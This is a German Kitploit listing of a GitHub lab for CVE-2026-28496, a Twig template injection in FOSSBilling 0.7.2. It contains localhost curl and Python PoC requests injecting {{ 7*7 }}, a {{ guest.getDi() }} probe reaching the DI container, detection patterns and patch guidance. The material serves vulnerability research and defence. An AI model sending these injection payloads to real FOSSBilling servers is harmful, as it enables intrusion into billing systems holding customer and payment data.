Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-28496-Lab — Docker-basiertes Labor zur Reproduktion und Validierung von CVE-2026-28496, einer Server-seitigen Template-Injection-Schwachstelle in der Twig-Wiedergabe von FOSSBilling, mit Zielen für den Vergleich von anfälligen und gepatchten Versionen. | Kitploit
Tools/GitHubGitHub/rootdirective-sec/cve-2026-28496-lab
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungLabs & Praxis
GitHubrootdirective-sec/cve-2026-28496-lab

CVE-2026-28496-Lab

Docker-basiertes Labor zur Reproduktion und Validierung von CVE-2026-28496, einer Server-seitigen Template-Injection-Schwachstelle in der Twig-Wiedergabe von FOSSBilling, mit Zielen für den Vergleich von anfälligen und gepatchten Versionen.

Repository anzeigen
1vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-28496 - Serverseitige Template-Injection in der Twig-Rendering-Engine von FOSSBilling

Zusammenfassung

Dieses Repository enthält ein lokales Docker-Labor zur Reproduktion und Validierung von CVE-2026-28496, einer Sicherheitslücke durch serverseitige Template-Injection, die das Twig-Template-Rendering-Verhalten von FOSSBilling betrifft.

FOSSBilling ist eine kostenlose Open-Source-Abrechnungs- und Kundenverwaltungsplattform. Versionen vor 0.8.0 sind von unsicherem Twig-Template-Rendering-Verhalten betroffen, das bereitgestellte Template-Ausdrücke auswerten kann. FOSSBilling 0.8.0 wird in diesem Labor als gepatchtes Vergleichsziel verwendet.

Dieses Labor vergleicht zwei FOSSBilling-Versionen:

DienstFOSSBilling-VersionZweckURL
vuln0.7.2Verwundbares Vergleichszielhttp://localhost:8081
patched0.8.0Gepatchtes Vergleichszielhttp://localhost:8082

Der demonstrierte HTTP-Validierungspfad in diesem lokalen Labor ist:```text Unauthenticated HTTP request in this local FOSSBilling 0.7.2 lab → POST /api/system/system/string_render → JSON body contains _tpl={{ 7*7 }} → vulnerable target renders the Twig expression → patched target does not expose the same tested API behavior

root@kitploit:~
Im verwundbaren Ziel gibt der API-Aufruf zurück:```json
{"result":"49","error":null}

Im gepatchten Ziel gibt dieselbe Anfrage zurück:```json {"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}

root@kitploit:~
Diese Laborumgebung validiert das anfällige im Vergleich zum gepatchten HTTP-Verhalten mittels FOSSBilling 0.7.2 und FOSSBilling 0.8.0.

Die Laborumgebung ist absichtlich auf lokale Docker-Dienste beschränkt. Sie richtet sich nicht gegen externe Systeme und enthält keine Webshells, Malware, Persistenz, externe Callbacks, Datenbank-Dumps oder zerstörerische Payloads.

## Verifizierte Fakten

| Behauptung                                                                               | Nachweis                                                                                                           | Wie im Labor zu überprüfen                                                              |
| ---------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------- |
| CVE-2026-28496 betrifft FOSSBilling-Versionen vor 0.8.0.                                 | Öffentliche CVE- und Advisory-Metadaten identifizieren FOSSBilling vor 0.8.0 als von Twig SSTI betroffen.          | Lesen Sie den Referenzbereich und vergleichen Sie die anfälligen und gepatchten Zielversionen.|
| FOSSBilling 0.7.2 wird als anfälliges Vergleichsziel verwendet.                         | Der anfällige Dienst wird aus dem offiziellen `fossbilling/fossbilling:0.7.2` Docker-Image erstellt.               | Überprüfen Sie `vuln/Dockerfile` und führen Sie `docker compose ps -a` aus.             |
| FOSSBilling 0.8.0 wird als gepatchtes Vergleichsziel verwendet.                         | Der gepatchte Dienst wird aus dem offiziellen `fossbilling/fossbilling:0.8.0` Docker-Image erstellt.               | Überprüfen Sie `patched/Dockerfile` und führen Sie `docker compose ps -a` aus.           |
| Der anfällige HTTP-Pfad ist `/api/system/system/string_render`.                         | Das anfällige Ziel gibt JSON mit `result: "49"` für `_tpl={{ 7*7 }}` zurück.                                       | Führen Sie `python3 poc/poc.py --url http://localhost:8081` aus.                        |
| Das gepatchte Ziel zeigt nicht dasselbe HTTP-Verhalten.                                 | Das gepatchte Ziel gibt `Unknown API call system/system/string_render` zurück.                                     | Führen Sie `python3 poc/poc.py --url http://localhost:8082` aus.                        |
| Der Proof-of-Concept (PoC) ist rein HTTP-basiert.                                       | `poc/poc.py` sendet HTTP-POST-Anfragen und ruft keine Docker-, Docker-Compose-, Shell-Befehle oder Container-APIs auf.| Überprüfen Sie `poc/poc.py`.                                                            |
| Das Labor installiert beide FOSSBilling-Ziele automatisch beim Start von Docker Compose. | Die One-Shot-Installer-Seitencontainer schließen die Einrichtung ab und beenden mit Status 0.                      | Führen Sie `docker compose ps -a` und `docker compose logs installer-vuln installer-patched` aus.|
| Das anfällige Ziel rendert den harmlosen Twig-Ausdruck.                                 | Die HTTP-Antwort von Port 8081 ist `{"result":"49","error":null}`.                                                 | Führen Sie den anfälligen PoC-Befehl aus.                                               |
| Das gepatchte Ziel rendert denselben Ausdruck nicht über den getesteten API-Pfad.       | Die HTTP-Antwort von Port 8082 ist ein JSON-API-Fehler mit Code `879`.                                             | Führen Sie den gepatchten PoC-Befehl aus.                                               |

## Annahmen und Unbekanntes

Dieses Labor verwendet FOSSBilling 0.7.2 als anfälliges Vergleichsziel, da öffentliche Sicherheitsforschung FOSSBilling-Versionen vor 0.8.0 als betroffen identifiziert und 0.7.2 die neueste anfällige Version in der getesteten Kette ist.

Dieses Labor verwendet FOSSBilling 0.8.0 als gepatchtes Vergleichsziel, da öffentliche Advisory-Metadaten 0.8.0 als die gepatchte Version ausweisen.

Dieses Labor konzentriert sich auf das beobachtbare HTTP-Verhalten von:```text
POST /api/system/system/string_render

mit diesem JSON-Textkörper:```json {"_tpl":"{{ 7*7 }}"}

root@kitploit:~
Das Labor zeigt, dass FOSSBilling 0.7.2 den bereitgestellten Twig-Ausdruck über den HTTP-API-Pfad rendert, während FOSSBilling 0.8.0 denselben API-Aufruf nicht bereitstellt.

Dieses Labor erhebt nicht den Anspruch, jede FOSSBilling-Vorlagen-Rendering-Funktion zu testen. CVE-2026-28496 bezieht sich auch auf andere Twig-Rendering-Kontexte, wie zum Beispiel Vorlagen-Rendering-Funktionen, die innerhalb der Anwendung verfügbar sind.

Dieses Labor demonstriert nicht die vollständige unauthentifizierte Remote-Codeausführungskette. Es validiert das beobachtete unauthentifizierte HTTP-Verhalten im lokalen FOSSBilling 0.7.2-Ziel und vergleicht es mit FOSSBilling 0.8.0. Die vollständige öffentliche Kette beinhaltet zusätzliches API-Autorisierungsverhalten über die hier gezeigte sichere Twig-Ausdrucksvalidierung hinaus.

Das Labor demonstriert nicht:

* Remote-Befehlsausführung,
* Extraktion von Anmeldeinformationen,
* Datenbank-Dumping,
* Installation von Erweiterungen,
* Beliebiges Dateischreiben,
* Persistenz,
* Web-Shell-Upload,
* Externe Rückrufe,
* Angriffe auf Nicht-Lab-Systeme,
* oder Post-Exploitation-Aktivität.

## Zusammenfassung der Ursache

Die Ursache von CVE-2026-28496 ist unsicheres Twig-Vorlagen-Rendering.

FOSSBilling verwendet Twig, um dynamische Vorlagen zu rendern. In anfälligen Versionen kann ein bereitgestellter Vorlagenstring ohne ausreichende Sandbox-Einschränkungen in die Twig-Rendering-Logik übergeben werden.

Das anfällige Verhalten kann wie folgt zusammengefasst werden:```text
Input template string
→ FOSSBilling API receives _tpl
→ System\Api\Admin::string_render() reads _tpl
→ System\Service::renderString() receives the template string
→ Twig creates a template from the supplied string
→ Twig evaluates the expression
→ rendered output is returned in the HTTP response

Für diesen harmlosen Template-Ausdruck:```twig {{ 7*7 }}

root@kitploit:~
Das verwundbare Ziel wertet den Ausdruck aus und gibt zurück:```text
49

Das Sicherheitsproblem beschränkt sich nicht auf die arithmetische Auswertung. Die arithmetische Auswertung ist nur das sichere sichtbare Signal, das in diesem Labor verwendet wird.

Das sicherheitskritischere Problem besteht darin, dass unsandboxt Twig-Templates auf Objekte und Methoden zugreifen können, die im Template-Kontext verfügbar gemacht werden. Öffentliche Forschung beschreibt einen risikoreicheren Pfad, bei dem die Ausführung von Twig-Templates in Anwendungsinterna gelangen kann, einschließlich des Dependency-Injection-Containers, wenn geeignete Template-Kontext-Objekte verfügbar sind.

Das vereinfachte angreifbare Modell lautet:```text Template renderer → unsandboxed Twig expression → method/object access may be possible → application internals may become reachable → sensitive services may become reachable

root@kitploit:~
Das gepatchte Design in FOSSBilling 0.8.0 härtet das anfällige Verhalten. In diesem Labor legt das gepatchte Ziel den getesteten API-Aufruf nicht mehr offen:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}

Die Sicherheitslektion ist:```text Template engines must not render user-controlled template strings in a privileged application context unless strict authorization and sandbox boundaries are enforced.

root@kitploit:~
## Quellcode-Analyse

Das anfällige HTTP-Verhalten wird durch den Quellcode-Pfad in FOSSBilling 0.7.2 gestützt.

Die API-Methode empfängt `_tpl` aus den Anfragedaten und übergibt es an den System-Service-Renderer.

Relevanter anfälliger Einstiegspunkt:```php
public function string_render($data)
{
    if (!isset($data['_tpl'])) {
        error_log('_tpl parameter not passed');
        return '';
    }

    $tpl = $data['_tpl'];
    $try_render = $data['_try'] ?? false;

    $vars = $data;
    unset($vars['_tpl'], $vars['_try']);

    return $this->getService()->renderString($tpl, $try_render, $vars);
}

Der wichtige Datenfluss ist:```text HTTP request body → _tpl → System\Api\Admin::string_render() → System\Service::renderString()

root@kitploit:~
In FOSSBilling 0.7.2 versucht `renderString()`, den übergebenen Wert als Vorlagennamen zu laden. Wenn das fehlschlägt, behandelt es den übergebenen Wert als Vorlagenzeichenfolge und übergibt ihn an `createTemplateFromString()`.

Vereinfachter verwundbarer Ablauf:```php
public function renderString($tpl, $try_render, $vars)
{
    $twig = $this->di['twig'];

    try {
        $template = $twig->load($tpl);
        $parsed = $template->render($vars);
    } catch (\Exception) {
        // $twig->load throws an exception when $tpl is a raw template string
        $parsed = $this->createTemplateFromString($tpl, $try_render, $vars);
    }

    return $parsed;
}

Die anfällige Sink ist createTemplateFromString():```php public function createTemplateFromString($tpl, $try_render, $vars) { try { $twig = $this->di['twig']; $template = $twig->createTemplate($tpl); $parsed = $template->render($vars); } catch (\Exception $e) { $parsed = $tpl;

root@kitploit:~
    if (!$try_render) {
        throw $e;
    }
}

return $parsed;

}

root@kitploit:~
Das sicherheitsrelevante Quellmuster ist:```text
_tpl from request data
→ used as $tpl
→ passed to Twig createTemplate()
→ rendered server-side

Dies erklärt das anfällige Laborergebnis:```text POST /api/system/system/string_render {"_tpl":"{{ 7*7 }}"}

root@kitploit:~
Verwundbare Antwort:```json
{"result":"49","error":null}

Der Wert 49 beweist, dass der bereitgestellte Twig-Ausdruck serverseitig ausgewertet wurde.

Das sichere Lab-Payload verwendet nur Arithmetik:```twig {{ 7*7 }}

root@kitploit:~
Allerdings ist die Ursache sicherheitskritischer als die Auswertung arithmetischer Ausdrücke. In angreifbaren Rendering-Kontexten können Twig-Templates mit Anwendungsobjekten interagieren, die in der Template-Umgebung vorhanden sind. Öffentliche Forschung beschreibt Ketten mit höherer Auswirkung, bei denen API-Kontextobjekte Zugriff auf Anwendungsinterna wie den Dependency-Injection-Container gewähren können.

Ein Quellcode-Regressionstest bestätigte das tiefere Verhalten:```text
FOSSBilling 0.7.2:
  {{ guest.getDi() }}
  → DI_VISIBLE

FOSSBilling 0.8.0:
  {{ guest.getDi() }}
  → blocked by Twig sandbox policy

Deshalb wird die Schwachstelle am besten als unsicheres Template-Rendering verstanden, nicht nur als Fehler in der Auswertung von Ausdrücken nach Art eines Taschenrechners.

Zusammenfassung des Quell-Patches

FOSSBilling 0.8.0 ändert das anfällige Verhalten, indem die Zeichenketten-Darstellung gehärtet und das getestete anfällige HTTP-Verhalten entfernt wird.

In der gepatchten Version wird die Zeichenketten-Darstellung über sandbox-bewusstes Rendering geleitet, anstatt willkürliche Template-Strings direkt mit umfassenden Twig-Funktionen zu rendern.

Der gepatchte Service-Code ruft einen sandbox-bewussten Renderer auf:```php $rendered = SandboxedStringRenderer::render( $twig, $tpl, $vars, $errorMessage );

root@kitploit:~
Der Sandbox-Renderer erstellt und rendert ein Template, fängt aber Twig-Sandbox-Verstöße ab und wandelt sie in einen kontrollierten Anwendungsfehler um:```php
final class SandboxedStringRenderer
{
    public static function render(
        Environment $twig,
        string $content,
        array $context = [],
        string $name = 'template'
    ): string {
        try {
            return $twig->createTemplate($content)->render($context);
        } catch (SecurityError $e) {
            throw new InformationException(
                '%name% contains disallowed Twig syntax: %error%',
                [
                    '%name%' => $name,
                    '%error%' => $e->getMessage(),
                ]
            );
        }
    }
}

Die Sandbox-Richtlinie blockiert standardmäßig den Zugriff auf Methoden und Eigenschaften:```php $methods = []; $properties = [];

root@kitploit:~
Die sicherheitsrelevante Änderung ist:```text
Before:
  request-controlled template string
  → Twig createTemplate()
  → render without the patched sandbox boundary

After:
  template string rendering
  → SandboxedStringRenderer
  → Twig sandbox policy
  → method/property access denied by default

Für den in diesem Labor getesteten öffentlichen HTTP-API-Pfad macht FOSSBilling 0.8.0 denselben anfälligen API-Aufruf nicht verfügbar:```json {"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}

root@kitploit:~
Dies bietet zwei nützliche Validierungsebenen:```text
HTTP behavior validation:
  0.7.2 renders {{ 7*7 }} through /api/system/system/string_render.
  0.8.0 does not expose the same API behavior.

Source/root-cause validation:
  0.7.2 allows unsafe Twig rendering behavior.
  0.8.0 introduces sandboxed string rendering and blocks method/property access.

Das Labor hält diese beiden Schichten getrennt:```text HTTP PoC result proves the vulnerable endpoint behavior.

Source patch review explains why unsafe Twig rendering was dangerous and how the patched version hardens it.

root@kitploit:~
## Laborarchitektur

Das Lab betreibt zwei isolierte FOSSBilling-Installationen mit Docker Compose.```text
.
├── docker-compose.yml
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── poc/
│   └── poc.py
├── scripts/
│   └── auto-install.sh
├── README.md
└── .gitignore

Die beiden FOSSBilling-Dienste verwenden separate Datenbanken und separate Anwendungsversionen:

DienstKomponenteVersion / Rolle
vulnFOSSBillingverwundbare Zielanwendung
patchedFOSSBillinggepatchte Zielanwendung
vuln-dbMariaDBDatenbank für verwundbares Ziel
patched-dbMariaDBDatenbank für gepatchtes Ziel
installer-vulncurl sidecarinstalliert automatisch verwundbares Ziel
installer-patchedcurl sidecarinstalliert automatisch gepatchtes Ziel

Standardmäßig bereitgestellte Dienste:```text Vulnerable target: http://localhost:8081 Patched target: http://localhost:8082

root@kitploit:~
Das Labor verwendet festgelegte FOSSBilling-Versionen:

| Ziel                   | FOSSBilling-Version | Erwartetes Verhalten                                   |
| --------------------- | ------------------: | --------------------------------------------------- |
| http://localhost:8081 |               0.7.2 | rendert `{{ 7*7 }}` über den verwundbaren API-Pfad |
| http://localhost:8082 |               0.8.0 | legt das gleiche verwundbare API-Verhalten nicht offen    |

Die Installer-Seitenwagen laufen automatisch während `docker compose up`. Sie initialisieren beide FOSSBilling-Ziele mit lokalen einmaligen Datenbankanmeldeinformationen und beenden dann.

Das Labor erstellt oder modifiziert die verwundbare API-Route nicht.

Die Route `/api/system/system/string_render` wird von der FOSSBilling-Anwendung im verwundbaren 0.7.2-Ziel nach der Installation bereitgestellt. Das Docker-Labor installiert die Anwendung nur über den normalen Installationsablauf und sendet dann eine HTTP-Anfrage an den vorhandenen Anwendungsendpunkt.

Das gepatchte 0.8.0-Ziel gibt `Unknown API call system/system/string_render` zurück, was bestätigt, dass das getestete Routenverhalten von der Anwendungsversion selbst kommt und nicht von einer laborerstellten Route.

## Voraussetzungen

* Docker Desktop oder Docker Engine
* Docker Compose v2
* Python 3
* Internet Zugriff während des ersten Ziehens des Docker-Images

Es wird kein Python-Paket von Drittanbietern benötigt. Der PoC verwendet nur Module der Python-Standardbibliothek.

## Schnellstart

Starten Sie das Labor aus einem sauberen Zustand:```bash
docker compose down -v --remove-orphans
docker compose up -d --build

Überprüfen Sie den Dienststatus:```bash docker compose ps -a

root@kitploit:~
Erwartete laufende Dienste:```text
cve-2026-28496-vuln
cve-2026-28496-patched
cve-2026-28496-vuln-db
cve-2026-28496-patched-db

Erwartete abgeschlossene Installationsdienste:```text cve-2026-28496-installer-vuln Exited (0) cve-2026-28496-installer-patched Exited (0)

root@kitploit:~
Überprüfen Sie die Installationsprotokolle:```bash
docker compose logs installer-vuln installer-patched

Überprüfen Sie die Webanwendungen:```bash curl -i http://127.0.0.1:8081 | head curl -i http://127.0.0.1:8082 | head

root@kitploit:~
Führen Sie die HTTP-Validierung gegen das angreifbare Ziel durch:```bash
python3 poc/poc.py --url http://localhost:8081

Führen Sie die HTTP-Validierung gegen das gepatchte Ziel durch:```bash python3 poc/poc.py --url http://localhost:8082

root@kitploit:~
## PoC-Verwendung

Das PoC akzeptiert eine lokale FOSSBilling-Basis-URL:```bash
python3 poc/poc.py --url <target_url>

Beispiele:```bash python3 poc/poc.py --url http://localhost:8081 python3 poc/poc.py --url http://localhost:8082 python3 poc/poc.py --url http://127.0.0.1:8081 python3 poc/poc.py --url http://127.0.0.1:8082

root@kitploit:~
Das PoC sendet diese HTTP-Anfrage:```text
POST /api/system/system/string_render
Content-Type: application/json

Anfragekörper:```json {"_tpl":"{{ 7*7 }}"}

root@kitploit:~
Der PoC ist HTTP-only. Er ruft kein Docker, Docker Compose, Shell-Befehle, WP-CLI oder Container-APIs auf.

## Erwartete Ergebnisse

### Verwundbares Ziel

Befehl:```bash
python3 poc/poc.py --url http://localhost:8081

Erwartetes verwundbares Zielsignal:```text CVE-2026-28496 HTTP validation PoC Scope: authorized local lab target only URL: http://localhost:8081 Endpoint: http://localhost:8081/api/system/system/string_render Template: {{ 7*7 }}

===== HTTP response ===== status=200 content-type=application/json; charset=utf-8 {"result":"49","error":null}

===== verdict ===== VULNERABLE/REACHABLE: server rendered {{ 7*7 }} and returned 49.

root@kitploit:~
### Gepatchtes Ziel

Befehl:```bash
python3 poc/poc.py --url http://localhost:8082

Erwartetes gepatchtes Zielsignal:```text CVE-2026-28496 HTTP validation PoC Scope: authorized local lab target only URL: http://localhost:8082 Endpoint: http://localhost:8082/api/system/system/string_render Template: {{ 7*7 }}

===== HTTP response ===== status=400 content-type=application/json {"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}

===== verdict ===== PATCHED/NOT REACHABLE: target did not render the supplied template.

root@kitploit:~
Der wichtige Unterschied ist:```text
FOSSBilling 0.7.2
→ renders {{ 7*7 }}
→ returns 49

FOSSBilling 0.8.0
→ does not render the supplied template through this API path
→ returns an API error

Wie die Validierung funktioniert

Der Validator sendet eine einzelne HTTP-POST-Anfrage an den FOSSBilling-API-Endpunkt:```text /api/system/system/string_render

root@kitploit:~
Der Request-Body enthält einen harmlosen Twig-Ausdruck:```json
{"_tpl":"{{ 7*7 }}"}

Erwartetes verwundbares Verhalten:```text HTTP 200 OK JSON result is "49"

root@kitploit:~
Erwartetes gepatchtes Verhalten:```text
HTTP 400 Bad Request
JSON error indicates the API call is unknown or not reachable

Dies bestätigt, dass das anfällige Ziel die bereitgestellte Vorlage serverseitig auswertet.

Der PoC verwendet bewusst {{ 7*7 }} anstelle einer zerstörerischen Nutzlast. Ziel ist es, die technische Bedingung sicher nachzuweisen:```text attacker-controlled template input

  • server-side Twig evaluation
  • observable rendered output
root@kitploit:~
Für eine tiefere Quellcode-Ebene Root-Cause-Validierung ist der Methodenzugriff ein stärkerer Beweis für das zugrunde liegende Problem. Allerdings verwendet der öffentliche PoC in diesem Repository den sichereren arithmetischen Ausdruck, um die Demonstration einer Kette mit hohem Einfluss zu vermeiden.

## Manuelle HTTP-Reproduktion mit curl

Verwundbare Probe:```bash
curl -i -X POST \
  'http://127.0.0.1:8081/api/system/system/string_render' \
  -H 'Content-Type: application/json' \
  --data '{"_tpl":"{{ 7*7 }}"}'

Erwartetes Ergebnis:```text HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8

{"result":"49","error":null}

root@kitploit:~
Gepatchter Probe:```bash
curl -i -X POST \
  'http://127.0.0.1:8082/api/system/system/string_render' \
  -H 'Content-Type: application/json' \
  --data '{"_tpl":"{{ 7*7 }}"}'

Erwartetes Ergebnis:```text HTTP/1.1 400 Bad Request Content-Type: application/json

{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}

root@kitploit:~
## Auswirkungen

Eine Server-Side Template Injection in einer Abrechnungs- und Kundenverwaltungsplattform ist sicherheitskritisch, da die Anwendung Kundendaten, Abrechnungsdaten, Server-Anmeldeinformationen, Zahlungskonfigurationen und von Administratoren kontrollierte Automatisierungslogik speichern kann.

Der gezeigte Lab-Payload ist harmlos und wertet lediglich:```twig
{{ 7*7 }}

Allerdings kann die zugrunde liegende Schwachstellenklasse schwerwiegender sein, wenn die Template-Ausführung Zugriff auf Anwendungsobjekte, -methoden oder Servicecontainer hat.

Die potenziellen realen Auswirkungen können je nach Konfiguration und erreichbarem Template-Kontext Folgendes umfassen:

  • Offenlegung von Informationen,
  • Zugriff auf interne Anwendungsdetails,
  • Zugriff auf sensible Anwendungsdienste,
  • Änderung des Anwendungszustands,
  • und Remotecodeausführung, wenn mit einem geeigneten Ausführungspfad verknüpft.

Dieses Labor demonstriert nur das sichere HTTP-Validierungssignal. Es demonstriert keinen Zugriff auf Anmeldeinformationen, Datenbankzugriff, Erweiterungsinstallation, Befehlsausführung oder Post-Exploitation.

Erkennung und Überwachung

Mögliche Indikatoren umfassen HTTP-Anfragen an den FOSSBilling API endpoint:```text /api/system/system/string_render

root@kitploit:~
Verdächtiges Anfragemuster:```text
POST /api/system/system/string_render
Content-Type: application/json

Verdächtige Anforderungstext-Indikatoren:```text _tpl {{ }} Twig syntax

root@kitploit:~
Beispiel für ein Zugriffsprotokollmuster:```text
POST /api/system/system/string_render

Beispiel JSON-Payload:```json {"_tpl":"{{ 7*7 }}"}

root@kitploit:~
Empfohlene Überwachungsmaßnahmen:

* Überprüfen Sie die Zugriffsprotokolle des Webservers auf `/api/system/system/string_render`.
* Überprüfen Sie Anfragen, die `_tpl` in JSON-Anforderungskörpern enthalten.
* Überprüfen Sie Anfragen, die Twig-Syntax wie `{{` und `}}` enthalten.
* Überprüfen Sie erfolgreiche API-Antworten, die gerenderte Template-Ausgaben enthalten.
* Überprüfen Sie fehlgeschlagene API-Antworten auf verdächtige Template-Rendering-Versuche.
* Überprüfen Sie Administratoraktivitäten, wenn eine Ausnutzung vermutet wird.
* Überprüfen Sie Änderungen an Konfigurationen von Templates, E-Mails, Massenmailern und Zahlungsadaptern.
* Überprüfen Sie Anwendungsprotokolle auf Template-Rendering-Fehler oder unerwartete API-Aufrufe.

Erkennungsidee mit hohem Signalwert:```text
POST request to /api/system/system/string_render
AND request body contains "_tpl"
AND request body contains "{{"

Ein weiteres lokales Validierungsartefakt mit hohem Signalwert:```text Request body: {"_tpl":"{{ 7*7 }}"}

Response body: {"result":"49","error":null}

root@kitploit:~
## Abhilfe- und Patch-Hinweise

Aktualisieren Sie FOSSBilling auf Version 0.8.0 oder neuer.

Aktualisieren Sie in Produktionsumgebungen auf die neueste verfügbare Version, anstatt bei der Labor-Vergleichsversion zu bleiben.

Empfohlene Abhilfemaßnahmen:

* Aktualisieren Sie FOSSBilling auf 0.8.0 oder neuer.
* Bestätigen Sie, dass die installierte Version nicht im betroffenen Bereich liegt.
* Schränken Sie den öffentlichen Zugriff auf administrative API-Pfade nach Möglichkeit ein.
* Überprüfen Sie die Webzugriffslogs auf Anfragen an `/api/system/system/string_render`.
* Überprüfen Sie Vorlagen, E-Mail-Vorlagen, Massenmailer und benutzerdefinierte Zahlungsadapter auf verdächtige Twig-Syntax.
* Rotieren Sie Geheimnisse, wenn eine Ausnutzung vermutet wird.
* Überprüfen Sie Kunden-, Abrechnungs-, Zahlungs- und Serververwaltungsaufzeichnungen auf unbefugten Zugriff.
* Behandeln Sie WAF-Regeln oder Reverse-Proxy-Blöcke als vorübergehende Kontrollen, nicht als Ersatz für ein Upgrade.

Sicherheitstechnische Lehren:

* Rendern Sie keine nicht vertrauenswürdigen Vorlagenzeichenfolgen in einem privilegierten Anwendungskontext.
* Setzen Sie Anwendungsdienstcontainer keinen Vorlagenkontexten aus.
* Verwenden Sie sandboxiertes Template-Rendering für benutzergesteuerte oder administratorgesteuerte Vorlagenfunktionen.
* Verweigern Sie den Zugriff auf Methoden und Eigenschaften, es sei denn, dies ist ausdrücklich erforderlich.
* Halten Sie API-Autorisierungsfehler explizit und schlagen Sie geschlossen fehl.
* Behandeln Sie Template-Rendering-Funktionen als codeausführungsnahe Oberflächen.

## Nützliche Überprüfungsbefehle

Containerstatus überprüfen:```bash
docker compose ps -a

Installationsprotokolle prüfen:```bash docker compose logs installer-vuln installer-patched

root@kitploit:~
Webdienste überprüfen:```bash
curl -i http://127.0.0.1:8081 | head
curl -i http://127.0.0.1:8082 | head

Führen Sie die verwundbare HTTP-Validierung durch:```bash python3 poc/poc.py --url http://localhost:8081

root@kitploit:~
Gepatchte HTTP-Validierung ausführen:```bash
python3 poc/poc.py --url http://localhost:8082

Manuelle anfällige Anfrage:```bash curl -i -X POST
'http://127.0.0.1:8081/api/system/system/string_render'
-H 'Content-Type: application/json'
--data '{"_tpl":"{{ 7*7 }}"}'

root@kitploit:~
Manuell gepatchte Anfrage:```bash
curl -i -X POST \
  'http://127.0.0.1:8082/api/system/system/string_render' \
  -H 'Content-Type: application/json' \
  --data '{"_tpl":"{{ 7*7 }}"}'

Untersuchen Sie den gefährdeten Quellfluss aus dem ausgecheckten Quellbaum:```bash git checkout 0.7.2

grep -n "function string_render" -A30 src/modules/System/Api/Admin.php grep -n "function renderString" -A70 src/modules/System/Service.php grep -n "function createTemplateFromString" -A30 src/modules/System/Service.php

root@kitploit:~
Untersuche den gepatchten Sandbox-Renderer aus dem ausgecheckten Quellbaum:```bash
git checkout 0.8.0

grep -R "SandboxedStringRenderer" -n src/modules src/library | head -30
grep -R "\$methods = \[\]\|\$properties = \[\]" -n src/library/FOSSBilling/Twig

Validierungsnachweise speichern:```bash mkdir -p evidence

python3 poc/poc.py --url http://localhost:8081
| tee evidence/vulnerable-http-validation.txt

python3 poc/poc.py --url http://localhost:8082
| tee evidence/patched-http-validation.txt

docker compose ps -a
| tee evidence/docker-compose-ps.txt

docker compose logs installer-vuln installer-patched
| tee evidence/installer-logs.txt

root@kitploit:~
Überprüfe FOSSBilling Antwort-Header:```bash
curl -i http://127.0.0.1:8081 | grep -i 'x-fossbilling-version'
curl -i http://127.0.0.1:8082 | grep -i 'x-fossbilling-version'

Aufräumen

Container und Netzwerke stoppen und entfernen:```bash docker compose down --remove-orphans

root@kitploit:~
Container, Netzwerke und Volumes entfernen:```bash
docker compose down -v --remove-orphans

Lokale Beweisdaten entfernen, falls erstellt:```bash rm -rf evidence/

root@kitploit:~
## Sicherheitsgrenzen

Dieses Labor dient ausschließlich der lokalen Sicherheitsforschung und kontrollierten Vorführungen.

Führen Sie den PoC oder manuelle Curl-Anfragen nicht gegen Systeme aus, die Sie nicht besitzen oder für die Sie keine ausdrückliche Genehmigung zum Testen haben.

Verwenden Sie in diesem Labor keine echten Produktionsanmeldedaten, Kundendaten, Zahlungsdaten, API-Schlüssel oder Produktionsgeheimnisse.

Der beabsichtigte Umfang beschränkt sich auf lokale Docker-Dienste wie:```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082

Der PoC ist absichtlich nur HTTP-basiert und auf den lokalen Bereich beschränkt. Er ruft keine Docker-, Docker-Compose-, Shell-Befehle, WP-CLI- oder Container-APIs auf.

Das Labor enthält keine Payloads für:

  • Web-Shell-Upload,
  • beliebige Befehlsausführung,
  • Persistenz,
  • seitliche Bewegung,
  • Diebstahl von Anmeldeinformationen,
  • Datenbank-Dumping,
  • Zugriff auf Kundendaten,
  • Zugriff auf Zahlungsanmeldeinformationen,
  • oder externe Rückrufe.

Das Ziel ist es, einen bestimmten technischen Zustand in einer kontrollierten Umgebung zu demonstrieren:```text HTTP request

  • FOSSBilling string_render API path
  • Twig template expression
  • vulnerable target renders the expression
  • patched target does not render the expression
root@kitploit:~
## Referenzen

* CVE-Eintrag: CVE-2026-28496
  https://www.cve.org/CVERecord?id=CVE-2026-28496

* GitHub Advisory: GHSA-57mv-jm88-66jc
  https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-57mv-jm88-66jc

* VulnCheck: FOSSBilling Auth Bypass und Twig SSTI zu nicht authentifiziertem RCE
  https://www.vulncheck.com/blog/fossbilling-auth-bypass-ssti-rce

* FOSSBilling Docker-Dokumentation
  https://docs.fossbilling.org/getting-started/docker/

* FOSSBilling GitHub-Repository
  https://github.com/FOSSBilling/FOSSBilling

* FOSSBilling Docker-Image
  https://hub.docker.com/r/fossbilling/fossbilling

* Twig-Dokumentation: Sandbox-Erweiterung
  https://twig.symfony.com/doc/3.x/sandbox.html
Tool herunterladen